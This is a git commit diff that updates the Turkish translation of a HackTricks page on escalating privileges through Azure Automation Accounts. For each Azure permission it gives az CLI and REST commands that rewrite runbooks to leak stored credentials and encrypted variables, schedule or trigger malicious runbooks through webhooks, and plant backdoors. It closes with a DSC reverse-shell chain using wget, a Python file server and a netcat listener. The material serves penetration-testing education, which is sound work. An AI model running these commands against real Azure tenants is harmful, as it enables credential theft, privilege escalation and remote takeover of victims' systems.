mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+69
-51
@@ -1,40 +1,40 @@
|
||||
# Az - Azure Automation Hesapları Privesc
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Hesapları
|
||||
## Azure Automation Accounts
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hibrit Çalışanlar Grubu
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Otomasyon Hesabından VM'ye**
|
||||
- **From the Automation Account to the VM**
|
||||
|
||||
Unutmayın ki eğer bir saldırgan bir hibrit çalışanda rastgele bir runbook (rastgele kod) çalıştırabilirse, **VM'nin konumuna geçiş yapacaktır**. Bu, bir yerel makine, farklı bir bulutun VPC'si veya hatta bir Azure VM olabilir.
|
||||
Bir saldırgan bir hybrid worker üzerinde rastgele bir runbook (rastgele kod) çalıştırabilirse, **VM'in bulunduğu yere pivot yapacağını** unutmayın. Bu bir on-premise makine, farklı bir cloud'un VPC'si veya hatta bir Azure VM olabilir.
|
||||
|
||||
Ayrıca, eğer hibrit çalışan Azure'da diğer Yönetilen Kimliklerle birlikte çalışıyorsa, runbook **runbook'un yönetilen kimliğine ve VM'nin metadata hizmetinden tüm yönetilen kimliklerine erişim sağlayacaktır**.
|
||||
Ayrıca, hybrid worker Azure içinde diğer Managed Identities eklenmiş olarak çalışıyorsa, runbook **runbook'un managed identity'sine ve VM'in tüm managed identity'lerine metadata service üzerinden** erişebilecektir.
|
||||
|
||||
> [!TIP]
|
||||
> **Metadata hizmetinin** otomasyon hesabının yönetilen kimlik token'ını aldığı hizmetten (**`IDENTITY_ENDPOINT`**) farklı bir URL'si vardır (**`http://169.254.169.254`**).
|
||||
> Unutmayın ki **metadata service** farklı bir URL'ye sahiptir (**`http://169.254.169.254`**) ve automation account'un managed identities token'ını aldığı servis olan (**`IDENTITY_ENDPOINT`**) farklıdır.
|
||||
|
||||
- **VM'den Otomasyon Hesabına**
|
||||
- **From the VM to the Automation Account**
|
||||
|
||||
Ayrıca, eğer birisi otomasyon hesabı scriptinin çalıştığı bir VM'yi ele geçirirse, **Otomasyon Hesabı** metadata'sını bulabilecek ve VM'den erişerek **Otomasyon Hesabına** bağlı **Yönetilen Kimlikler** için token'lar alabilecektir.
|
||||
Ayrıca, birisi Automation Account script'inin çalıştığı bir VM'i ele geçirirse, **Automation Account** metadata'sını bulup VM üzerinden erişerek Automation Account'a bağlı **Managed Identities** için token alabilecektir.
|
||||
|
||||
Aşağıdaki görüntüde görüldüğü gibi, VM üzerinde Yönetici erişimine sahip olmak, **işlem ortam değişkenlerinde** otomasyon hesabı metadata hizmetine erişim sağlamak için URL ve gizli anahtarı bulmayı mümkün kılar:
|
||||
Aşağıdaki görselde görülebileceği gibi, VM üzerinde Administrator erişimi varsa, otomasyon hesabı metadata servisine erişmek için URL ve secret'i sürecin **environment variables**'larında bulmak mümkündür:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Özetle, bu izinler **Otomasyon Hesabında Runbook'lar oluşturma, değiştirme ve çalıştırma** yetkisi verir; bu da **Otomasyon Hesabı bağlamında kod çalıştırmak** ve atanan **Yönetilen Kimliklere** ayrıcalıkları yükseltmek için kullanılabilir ve **kimlik bilgilerini** ve **şifrelenmiş değişkenleri** otomasyon hesabında sızdırabilir.
|
||||
Özetle bu izinler Automation Account içinde **Runbooks oluşturma, değiştirme ve çalıştırma** imkânı verir; bunları Automation Account bağlamında **kod yürütmek** ve atanan **Managed Identities** üzerinde yetki yükseltmek, ayrıca Automation Account içinde saklanan **credentials** ve **encrypted variables**'ları leak etmek için kullanabilirsiniz.
|
||||
|
||||
**`Microsoft.Automation/automationAccounts/runbooks/draft/write`** izni, otomasyon hesabındaki bir Runbook'un kodunu değiştirmeye olanak tanır:
|
||||
İzin **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** bir Automation Account içindeki bir Runbook'un kodunu şu şekilde değiştirmeye izin verir:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Not edin ki önceki script, bir kimlik bilgisi için **kullanıcı adı ve şifreyi** ve Automation Account'ta saklanan bir **şifreli değişkenin** değerini **sızdırmak** için kullanılabilir.
|
||||
Önceki betiğin, bir credential'ın **kullanıcı adı ve parolayı leak etmek** ve Automation Account içinde saklanan bir **şifrelenmiş değişken**in değerini almak için nasıl kullanılabileceğine dikkat edin.
|
||||
|
||||
**`Microsoft.Automation/automationAccounts/runbooks/publish/action`** izni, kullanıcının Automation Account'ta bir Runbook yayınlamasına izin verir, böylece değişiklikler uygulanır:
|
||||
İzin **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** kullanıcının Automation Account içinde bir Runbook yayınlamasına ve böylece değişikliklerin uygulanmasına izin verir:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
İzin **`Microsoft.Automation/automationAccounts/jobs/write`** kullanıcının Automation Account içinde bir Runbook çalıştırmasına olanak tanır:
|
||||
İzin **`Microsoft.Automation/automationAccounts/jobs/write`** kullanıcıya Automation Account içinde bir Runbook çalıştırma izni verir; kullanarak:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
İzin **`Microsoft.Automation/automationAccounts/jobs/output/read`** kullanıcının Automation Account'taki bir işin çıktısını okumasına olanak tanır:
|
||||
Yetki **`Microsoft.Automation/automationAccounts/jobs/output/read`** kullanıcının Automation Account içindeki bir job'ın çıktısını şu şekilde okumasına olanak tanır:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Eğer oluşturulmuş Runbook'lar yoksa veya yeni bir tane oluşturmak istiyorsanız, bunu yapmak için **izinlere `Microsoft.Resources/subscriptions/resourcegroups/read` ve `Microsoft.Automation/automationAccounts/runbooks/write`** ihtiyacınız olacak:
|
||||
Eğer Runbooks oluşturulmadıysa veya yeni bir tane oluşturmak istiyorsanız, bunu yapmak için **şu izinlere `Microsoft.Resources/subscriptions/resourcegroups/read` ve `Microsoft.Automation/automationAccounts/runbooks/write`** ihtiyacınız olacak:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Bu izin, kullanıcının **Automation Account'a bir kullanıcı yönetilen kimliği atamasına** olanak tanır:
|
||||
Bu izin, kullanıcının Automation Account'a **assign a user managed identity** atamasına olanak tanır:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
**`Microsoft.Automation/automationAccounts/schedules/write`** izni ile, her 15 dakikada bir (çok gizli değil) çalışan yeni bir Takvim oluşturmak mümkündür. Aşağıdaki komut kullanılarak yapılabilir.
|
||||
İzin **`Microsoft.Automation/automationAccounts/schedules/write`** ile, aşağıdaki komut kullanılarak Automation Account içinde her 15 dakikada bir çalıştırılan yeni bir Schedule oluşturmak mümkündür (çok gizli değil).
|
||||
|
||||
Takvim için **minimum aralığın 15 dakika** olduğunu ve **minimum başlangıç zamanının 5 dakika** gelecekte olduğunu unutmayın.
|
||||
Dikkat: **Schedule için minimum aralık 15 dakikadır**, ve **minimum başlangıç zamanı gelecekte en az 5 dakikadır**.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Sonra, **`Microsoft.Automation/automationAccounts/jobSchedules/write`** izni ile bir runbook'a bir Zamanlayıcı atamak mümkündür:
|
||||
Böylece, **`Microsoft.Automation/automationAccounts/jobSchedules/write`** izniyle bir Scheduler'ı runbook'a şu şekilde atamak mümkündür:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,22 +134,40 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Önceki örnekte jobchedule id **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` örneği** olarak bırakılmıştır, ancak bu atamayı oluşturmak için keyfi bir değer kullanmanız gerekecektir.
|
||||
> Önceki örnekte jobchedule id'si **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` örnek olarak** bırakıldı, ancak bu atamayı oluşturmak için rastgele bir değer kullanmanız gerekecek.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
**`Microsoft.Automation/automationAccounts/webhooks/write`** izni ile bir Automation Account içindeki Runbook için yeni bir Webhook oluşturmak mümkündür. Aşağıdaki komutu kullanarak bunu yapabilirsiniz.
|
||||
İzin **`Microsoft.Automation/automationAccounts/webhooks/write`** ile bir Automation Account içindeki bir Runbook için yeni bir Webhook oluşturmak mümkündür; aşağıdaki komutlardan biri kullanılarak yapılabilir.
|
||||
|
||||
Azure Powershell ile:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Bu komut, yalnızca oluşturma sırasında görüntülenen bir webhook URI'si döndürmelidir. Ardından, runbook'u webhook URI'sini kullanarak çağırmak için
|
||||
AzureCLI ve REST ile:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Bu komutlar yalnızca oluşturma sırasında görüntülenen bir webhook URI döndürmelidir. Daha sonra, runbook'u webhook URI kullanarak çağırmak için
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Sadece `Microsoft.Automation/automationAccounts/runbooks/draft/write` izni ile **bir Runbook'un kodunu** yayımlamadan güncellemek ve aşağıdaki komutları kullanarak çalıştırmak mümkündür.
|
||||
Sadece `Microsoft.Automation/automationAccounts/runbooks/draft/write` izni ile **bir Runbook'un kodunu yayımlamadan güncellemek** ve bunu aşağıdaki komutlarla çalıştırmak mümkündür.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Bu izin, kullanıcının **Automation Account için bir kaynak kontrolü yapılandırmasına** olanak tanır ve aşağıdaki gibi komutlar kullanır (bu örnek olarak Github'ı kullanır):
|
||||
Bu izin, kullanıcıya Automation Account için aşağıdaki gibi komutlar kullanarak **kaynak kontrolünü yapılandırma** yetkisi verir (örnek olarak Github kullanılmıştır):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Bu, runbook'ları Github deposundan Automation Account'a otomatik olarak içe aktaracak ve bazı diğer izinlerle çalıştırmaya başlamak **yetkileri yükseltmek** mümkün olacaktır.
|
||||
Bu, Github repository'sindeki runbooks'ları Automation Account'a otomatik olarak içe aktarır ve bunları çalıştırmaya başlamak için bazı ek izinlerle **possible to escalate privileges**.
|
||||
|
||||
Ayrıca, Automation Accounts'ta kaynak kontrolünün çalışabilmesi için yönetilen bir kimliğe sahip olması gerektiğini ve eğer bu bir kullanıcı yönetilen kimliği ise MI'nin istemci kimliğinin **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkeninde belirtilmesi gerektiğini unutmayın.
|
||||
Ayrıca unutmayın: source control'un Automation Accounts içinde çalışabilmesi için roleü **`Contributor`** olan bir managed identity'ye sahip olması gerekir; eğer bu user managed identity ise MI'nin client id'si **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkeninde belirtilmelidir.
|
||||
|
||||
> [!TIP]
|
||||
> Oluşturulduktan sonra bir kaynak kontrolünün repo URL'sini değiştirmenin mümkün olmadığını unutmayın.
|
||||
> Oluşturulduktan sonra bir source control'ün repo URL'sini değiştirmek mümkün değildir.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
**`Microsoft.Automation/automationAccounts/variables/write`** izni ile aşağıdaki komutu kullanarak Automation Account'ta değişkenler yazmak mümkündür.
|
||||
**`Microsoft.Automation/automationAccounts/variables/write`** izni ile Automation Account içinde değişkenler aşağıdaki komut kullanılarak yazılabilir.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -213,53 +231,53 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Özel Çalışma Ortamları
|
||||
### Özel Runtime Ortamları
|
||||
|
||||
Eğer bir otomasyon hesabı özel bir çalışma ortamı kullanıyorsa, çalışma ortamının özel bir paketini bazı kötü niyetli kodlarla (örneğin **bir arka kapı**) değiştirmek mümkün olabilir. Bu şekilde, o özel çalışma ortamını kullanan bir runbook çalıştırıldığında ve özel paket yüklendiğinde, kötü niyetli kod çalıştırılacaktır.
|
||||
Eğer bir automation account custom runtime environment kullanıyorsa, runtime'ın bir custom package'ı kötü amaçlı kodla (ör. **a backdoor**) üzerine yazılabilir. Bu durumda, o custom runtime'ı kullanan bir runbook her çalıştırıldığında ve custom package'ı yüklediğinde, kötü amaçlı kod çalıştırılacaktır.
|
||||
|
||||
### Durum Yapılandırmasını Tehdit Etme
|
||||
### State Configuration'ı İstismar Etme
|
||||
|
||||
**Tam gönderiyi kontrol edin:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Adım 1 — Dosyaları Oluşturma
|
||||
- Step 1 — Dosyaları Oluşturma
|
||||
|
||||
**Gerekli Dosyalar:** İki PowerShell betiğine ihtiyaç vardır:
|
||||
1. `reverse_shell_config.ps1`: Yükü alıp çalıştıran bir İstenilen Durum Yapılandırması (DSC) dosyası. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) adresinden temin edilebilir.
|
||||
2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'ye yayınlamak için bir betik, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) adresinde mevcuttur.
|
||||
**Files Required:** İki PowerShell script'i gereklidir:
|
||||
1. `reverse_shell_config.ps1`: Payload'ı çekip çalıştıran bir Desired State Configuration (DSC) dosyası. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) üzerinden edinilebilir.
|
||||
2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'e publish etmek için bir script. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) üzerinde mevcuttur.
|
||||
|
||||
**Özelleştirme:** Bu dosyalardaki değişkenler ve parametreler, kullanıcıya özgü ortama göre, kaynak adları, dosya yolları ve sunucu/yük tanımlayıcıları dahil olmak üzere özelleştirilmelidir.
|
||||
**Customization:** Bu dosyalardaki değişkenler ve parametreler, kaynak isimleri, dosya yolları ve sunucu/payload tanımlayıcıları dahil olmak üzere kullanıcının ortamına göre özelleştirilmelidir.
|
||||
|
||||
- Adım 2 — Yapılandırma Dosyasını Sıkıştırma
|
||||
- Step 2 — Konfigürasyon Dosyasını Zip'leme
|
||||
|
||||
`reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır, böylece Azure Depolama Hesabına aktarım için hazır hale gelir.
|
||||
`reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır ve Azure Storage Account'a aktarım için hazır hale getirilir.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Adım 3 — Depolama Bağlamını Ayarla ve Yükle
|
||||
- Adım 3 — Depolama Bağlamını Ayarla & Yükle
|
||||
|
||||
Sıkıştırılmış yapılandırma dosyası, Azure'un Set-AzStorageBlobContent cmdlet'ini kullanarak önceden tanımlanmış bir Azure Depolama konteyneri olan azure-pentest'e yüklenir.
|
||||
Sıkıştırılmış yapılandırma dosyası, önceden tanımlanmış Azure Storage container'ı azure-pentest'e Azure'ın Set-AzStorageBlobContent cmdlet'i ile yüklenir.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Adım 4 — Kali Kutusunu Hazırlama
|
||||
- Adım 4 — Kali Box'ı Hazırla
|
||||
|
||||
Kali sunucusu, RevPS.ps1 yükünü bir GitHub deposundan indirir.
|
||||
Kali sunucusu, RevPS.ps1 payload'ını bir GitHub deposundan indirir.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Hedef Windows VM ve ters shell için port belirtmek üzere script düzenlenir.
|
||||
Script, hedef Windows VM ve reverse shell için portu belirtmek üzere düzenlenir.
|
||||
|
||||
- Adım 5 — Yapılandırma Dosyasını Yayınla
|
||||
|
||||
Yapılandırma dosyası çalıştırılır ve sonuç olarak ters shell scripti belirtilen konuma Windows VM üzerinde dağıtılır.
|
||||
Yapılandırma dosyası çalıştırılır; bunun sonucunda reverse-shell script, Windows VM üzerindeki belirtilen konuma dağıtılır.
|
||||
|
||||
- Adım 6 — Payload'ı Barındır ve Dinleyici Kur
|
||||
- Adım 6 — Payload'ı barındır ve Listener kur
|
||||
|
||||
Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat dinleyicisi kurulur.
|
||||
Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat listener kurulur.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zamanlanmış görev, yükü çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder.
|
||||
Zamanlanmış görev payload'u çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user